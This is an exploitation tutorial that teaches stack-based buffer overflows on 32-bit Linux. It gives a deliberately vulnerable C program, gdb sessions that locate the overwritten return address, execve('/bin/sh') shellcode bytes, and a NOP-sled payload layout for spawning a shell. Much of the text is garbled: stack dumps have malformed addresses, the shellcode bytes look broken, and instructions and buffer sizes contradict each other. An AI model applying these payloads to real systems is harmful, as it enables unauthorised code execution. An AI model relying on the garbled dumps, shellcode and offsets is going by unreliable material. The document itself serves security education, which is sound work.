Stack based buffer overflow Exploitation Tutorial
By Saif El-Sherei
www.elsherei.com

Thanks to:
Haroon meer http://thinkst.com
Sherif El Deeb http://www.eldeeb.net
Corelancoder http://www.corelan.be
Dominic Wang
## Contents

- **Introduction:** ...................................................................................................................... 3
- **What is the Stack?** ............................................................................................................. 3
- **Stack usage:** ....................................................................................................................... 3
- **Stack Based Buffer Overflows:** ......................................................................................... 4
- **Stack Based Buffer Overflows Exploitation:** ..................................................................... 9
- **References:** ....................................................................................................................... 20
Introduction:
I decided to get a bit more into Linux exploitation, so I thought it would be nice if I document this as a good friend once said “you think you understand something until you try to teach it”. This is my first try at writing papers. This paper is my understanding of the subject. I understand it might not be complete I am open for suggestions and modifications. I hope as this project helps others as it helped me. This paper is purely for education purposes.

Note: the Exploitation method explained below tutorial will not work on modern system due to NX, ASLR, and modern kernel security mechanisms. If we continue this series we will have a tutorial on bypassing some of these controls

What is the Stack?

A stack is contiguous block of memory which is used by functions, two instructions are used to put or remove data from stack, “PUSH” puts data on stack, & “POP” removes data from stack. The stack works on Last in First out “LIFO” basis. And grows downwards towards lower memory addresses on Intel based systems.

In intel_x86 architecture the maximum data size would be a WORD. 4 bytes “32 bits” long for each push or pop.

The ESP stack pointer points to the top of stack. The stack is heavily used by functions. To hold function arguments and dynamically allocate space for local variables.

The stack consists of frames which are pushed when a function is called and popped when a function is finished. Functions can access local variables by offsets of ESP; but since WORDS are pushed and popped of the stack it is recommended to use something called a frame pointer “FP”.

What does a frame pointer do?

It saves the current address of the stack to the EBP register. So that function can reference their local variables by using offsets of EBP. Without worrying about the stack getting clobbered.

Stack usage:

When a function is called; the function arguments are pushed backwards on the stack, the EIP the instruction pointer is pushed afterwards this is called the return address of the function. The return address when a “call” instruction is called it pushes its address on stack. To return to it when the function is done.
Then when inside the function usually a frame pointer is used:

So the first three instructions would be similar to:

```assembly
Push %ebp ; save the value of old EBP.
Mov %esp,%esp ; saves the current address of esp to ebp, ebp will act as the frame pointer.
Sub $20,%esp ; subtract space from stack for local variables.
```

So after the return address will come the saved stack frame pointer address

Then our functions local variables.

---

**Stack Based Buffer Overflows:**

Stack based buffer overflows are one of the most common vulnerabilities. Found today. It affects any function that copies input to memory without doing bounds checking. For example:

- `strcpy()`, `memcpy()`, `gets()`, etc.....

What is a buffer overflow? A buffer overflow occurs when a function copies data into a buffer without doing bounds checking. So if the source data size is larger than the destination buffer size this data will overflow the buffer towards higher memory address and probably overwrite previous data on stack.

Let's do an Example of this.

```c
#include <stdio.h>

int main(int argc, char *argv[])
{
    char buf[256];
    memcpy(buf, argv[1], strlen(argv[1]));
    printf(buf);
}
```

Let's look at the program's disassembly:

```
(gdb) disas main
Dump of assembler code for function main:
```
See the first bolded instructions is the main() function saving the old frame pointer and making EBP the new stack frame pointer.

Let's run the program and see what will happen if the data sent is larger than the size of buffer.

Data smaller than the buffer size:

```
./so $(python -c 'print "A"*256')
```
Data is larger than size of buffer:

```
root@kali:~/Desktop/tuts/so# ./so $(python -c 'print "A"*270')
Segmentation fault
root@kali:~/Desktop/tuts/so#
```

What segmentation fault!!!! What does this mean?

Let's run it under a debugger so we can understand what's happening

```
root@kali:~/Desktop/tuts/so# gdb -q so
Reading symbols from /root/Desktop/tuts/so/so...(no debugging symbols found)...done.
Put break points at function call memcpy() and at ret instruction:

(gdb) break *main+51
Breakpoint 1 at 0x080484af
(gdb) break *main+68
Breakpoint 2 at 0x080484c0
(gdb)
run the program and look at the registers at first break point:

(gdb) r $(python -c 'print "A"*272')
Starting program: /root/Desktop/tuts/so/so $(python -c 'print "A"*70')

Breakpoint 1, 0x080484af in main ()
(gdb) i r
eax 0xbffff390  -1073745008
ecx 0x40000984  1073744260
edx 0xbffff6b4  -1073744204
ebx 0xb7fc1ff4  -1208213516
Let's continue to our 2nd break point at ret instruction:

(gdb) c
Continuing.

Breakpoint 2, 0x080484c0 in main ()

We step through the ret instruction:

(gdb) s
Single stepping until exit from function main,
which has no line number information.
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x2: Input/output error.

0x41414141 in ?? ()
We overwrote the return address of the main() function. With our buffer 0x41414141 is AAAA. Have a look at the registers we will find that we got segmentation fault because EIP the instruction pointer is pointing to an invalid address. 0x41414141. when it was supposed to point to the address of the return function.

```
(gdb) i r
eax  0x111  273
ecx  0xbffff2a8  -1073745240
dx   0xb7fc3360  00:02:76:4D:6C:D2-1208208544
ebx  0xb7fc1ff4  -1208213516
esp  0xbffff3e0  0xbffff3e0
ebp  0x41414141  0x41414141
esi  0x0  0
edi  0x0  0
eip  0x41414141  0x41414141
eflags 0x296  [ PF AF SF IF ]
    cs  0x73  115
    ss  0x7b  123
    ds  0x7b  123
    es  0x7b  123
    fs  0x0  0
    gs  0x33  51
(gdb)
```
Stack Based Buffer Overflows Exploitation:

So how can this vulnerability be exploited?

Exploitation of Stack based buffer overflows in general is to overwrite the return address of the function with the address of our shell code

Before overflow:

Top of stack lower memory

[Buf]
Saved frame pointer
Return address
Argument 1
Argument 2

Bottom of Stack Higher memory

After overflow:

[NOPS+Shellcode]
[Shellcode]
[Address of shellcode]
Argument 1
Argument 2

Top of stack lower memory

When the function returns EIP will point to the address of our shellcode and jump to it.

Bottom of Stack Higher memory

So in the vulnerable application:

First we will pinpoint exactly where the return address is overwritten below is the manual approach in larger applications this can be a hassle and another approach is taken

(gdb) r $(python -c 'print "A"*264+"B"*4+"C"*4')

The program being debugged has been started already.
Start it from the beginning? (y or n)

Please answer y or n.

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /tmp/saif/so $(python -c 'print "A"*264+"B"*4+"C"*4')

Breakpoint 1, 0x08048469 in main ()

(gdb) x/100x $esp

0xbffffab0: 0xbfffc0 0xbfffd87 0x00000110 0xb0000000

0xbfffac0: 0xb7f3c0 0xb7e92680 0x00000000 0x0000033

0xbfffac0: 0x00000000 0x00000000 0x00000000

0xbfffba0: 0xb7f0e830 0x00000003 0x00000000 0x00000000

0xbfffae0: 0xb7f96dc8 0xb7f0b858 0xbfffb08 0x00000008

0xbfffa0: 0xb7f96e7f 0xb7f96f8 0xb7f96f1c 0x00000008

0xbfffb00: 0xb7f0e830 0x00000003 0x00000000 0x00000000
<table>
<thead>
<tr>
<th>Address</th>
<th>Value 1</th>
<th>Value 2</th>
<th>Value 3</th>
<th>Value 4</th>
<th>Value 5</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xbffffb10</td>
<td>0x00000001</td>
<td>0x000000893</td>
<td>0xb7fe2b48</td>
<td>0xb7fe2858</td>
<td></td>
</tr>
<tr>
<td>0xbffffb20</td>
<td>0x0804826a</td>
<td>0xb7e9ff28</td>
<td>0x080481dc</td>
<td>0x00000001</td>
<td></td>
</tr>
<tr>
<td>0xbffffb30</td>
<td>0xb7ffeff4</td>
<td>0xbffffc20</td>
<td>0xb7ffab0</td>
<td>0xbffffbf4</td>
<td></td>
</tr>
<tr>
<td>0xbffffb40</td>
<td>0xb7fec4f2</td>
<td>0xbffffbe4</td>
<td>0x080481dc</td>
<td>0xbffffbd8</td>
<td></td>
</tr>
<tr>
<td>0xbffffb50</td>
<td>0xb7fffa54</td>
<td>0x00000000</td>
<td>0xb7fe2b48</td>
<td>0x00000001</td>
<td></td>
</tr>
<tr>
<td>0xbffffb60</td>
<td>0x00000000</td>
<td>0x00000001</td>
<td>0xb7ff8f8</td>
<td>0xb7fd5ff4</td>
<td></td>
</tr>
<tr>
<td>0xbffffb70</td>
<td>0xb7f967a9</td>
<td>0xb7ec23c5</td>
<td>0xbffffb88</td>
<td>0xb7ea9aa5</td>
<td></td>
</tr>
<tr>
<td>0xbffffb80</td>
<td>0xb7fd5ff4</td>
<td>0x0804962c</td>
<td>0xbffffb98</td>
<td>0x08048310</td>
<td></td>
</tr>
<tr>
<td>0xbffffb90</td>
<td>0xb7ff1380</td>
<td>0x0804962c</td>
<td>0xbffffbc8</td>
<td>0x080484a9</td>
<td></td>
</tr>
<tr>
<td>0xbffffba0</td>
<td>0xb7fd6304</td>
<td>0xb7fd5ff4</td>
<td>0x08048490</td>
<td>0xbffffbc8</td>
<td></td>
</tr>
<tr>
<td>0xbffffbb0</td>
<td>0xb7ec25c5</td>
<td>0xb7ff1380</td>
<td>0x0804849b</td>
<td>0xb7fd5ff4</td>
<td></td>
</tr>
<tr>
<td>0xbffffbc0</td>
<td>0x08048490</td>
<td>0x00000000</td>
<td>0xbffffc48</td>
<td>0xb7ea9ca6</td>
<td></td>
</tr>
<tr>
<td>0xbffffbd0</td>
<td>0x00000002</td>
<td>0xbffffc74</td>
<td>0xbffffc80</td>
<td>0xb7fe2858</td>
<td></td>
</tr>
<tr>
<td>0xbffffbe0</td>
<td>0xbffffc30</td>
<td>0xffffffff</td>
<td>0xb7ffe4f4</td>
<td>0x0804826a</td>
<td></td>
</tr>
<tr>
<td>0xbffffbf0</td>
<td>0x00000001</td>
<td>0xbffffc30</td>
<td>0xb7ff0966</td>
<td>0xb7ffab0</td>
<td></td>
</tr>
</tbody>
</table>
0xbffffc00: 0xb7fe2b48 0xb7fd5ff4 0x00000000 0x00000000
0xbffffc10: 0xbffffc48 0x9da5041a 0xb76a720a 0x00000000
0xbffffc20: 0x00000000 0x00000000 0x00000002 0x08048380
0xbffffc30: 0x00000000 0xb7ff6600 0xb7ea9bcb 0xb7ffeff4

(gdb) s

Single stepping until exit from function main,

which has no line number information.

Breakpoint 2, 0x08048475 in main ()

(gdb) x/100x $esp

0xbffffb0: 0xbfffa0 0xbfffd87 0x00000110 0xbfffb3c
0xbfffa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffa0: 0x41414141 0x41414141 0x41414141 0x41414141
Program received signal SIGSEGV, Segmentation fault.

Single stepping until exit from function main,

which has no line number information.

Cannot access memory at address 0x42424246

Continuing.
Set break points at the memcpy() function, & at the printf() function and run the program with 264 “A”, 4 “B”, & 4 “C”.

The buffer is supposed to be 256 but some gcc implementations save memory buffer of 264 even if in the source code its 256.

In the first stack dump before the memcpy() function we see the saved frame pointer bolded in blue, and the saved return address bolded in red.

After stepping over the memcpy() function, what happens is the buffer was overwritten with 264 “A”, the saved frame pointer EBP was overwritten with 4 “B” bolded in blue, & the return address is overwritten with 4 “C” bolded in red in the second stack dump.

Theoretically if the 4 “C” was replaced with the address of the shellcode the program should execute our shellcode let’s give it a try

We have an execve(/bin/sh) shellcode. Writing Shellcode will be explained in another tutorial

Our shellcode:

```
xeb\01\05\31\00\08\46\07\1d\01\89\5e\08\89\46\0c\0b\89\f3\8d\4e\08
\8d\5e\0c\cd\80\e8\e1\ff\ff\ff\2f\62\69\6e\2f\73\68\4a\41\41\41\41\42\42\42
```

The shellcode is inserted in our buffer. The size of shellcode “49 bytes” is subtracted from the buffer “A” size. step over the mempy() function and display esp to find the beginning of the buffer:

So first find the beginning of our buffer in memory. We run the application with “A”*272 to trigger the overflow. Insert break point at memcpy() function. When the break point is reached we view our stack.

```
(gdb) b *main+60
Breakpoint 1 at 0x8048430
(gdb) r $(python -c 'print "A"*272')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
```
Starting program: /root/tuts/sbof/s $(python -c 'print "A"*272')

Breakpoint 1, 0x08048430 in main ()

(gdb) x/100x $esp

0xbffffae0: 0xbffffaf0 0xbffffd47 0x00000110 0x00003530
0xbffffaf0: 0x00000000 0x08048220 0x00000020 0x00000000
0xbffffb00: 0x00000000 0x00000000 0x4002c4d8 0x400270bc
0xbffffb10: 0x4001e46c 0x40017828 0x00000003 0x40017ac0
0xbffffb20: 0x40017af0 0x40016ca0 0x40017074 0x08048247
0xbffffb30: 0xbffffbc8 0x400084bf 0x08048247 0x0177ff8e
0xbffffb40: 0x0804819c 0xbffffb84 0x40017028 0x00000001
0xbffffb50: 0x40017af0 0x00000000 0x00000001 0xbffffb84
0xbffffb60: 0x00000000 0x4014a920 0x0000037e 0x00000000
0xbffffb70: 0x0177ff8e 0xbffffc00 0x40016ed8 0xbffffc54
0xbffffb80: 0xbffffbb4 0x4002630c 0x40017828 0x0000002f
0xbffffb90: 0x40090f50 0xbffffd35 0x4008970e 0x4014a8c0
0xbffffba0: 0x4014a8b0 0xbffffbb4 0x40030c85 0x4014a8c0
0xbffffbb0: 0xbffffc60 0xbffffbd4 0x40030d3f 0x40016ca0
We step over the `memcpy()` function and view the stack.

```
(gdb) s
Single stepping until exit from function main,

which has no line number information.

0xbffffebf in ?? ()
```

```
(gdb) x/100x $esp
```
Now let's try to run the program with return address overwritten with our shell address

The addresses bolded above in red are the beginning of our buffer on stack so if the buffer was filled with NOPS and then our shell code. We should shell.

To trigger the overflow we need to send a buffer of 272 bytes

So the buffer will be

NOPS*219+SHELLCODE+0xbfffd50

The 219 NOPS is the “size of buffer – size of shellcode (268-49) “
So we changed the return address to the address of our shellcode on stack and when the overflow was triggered and EIP pointed to our shellcode we continued execution and we got our shell.

References:
- Smash the stack for fun and profit by aleph1 http://insecure.org/stf/smashstack.html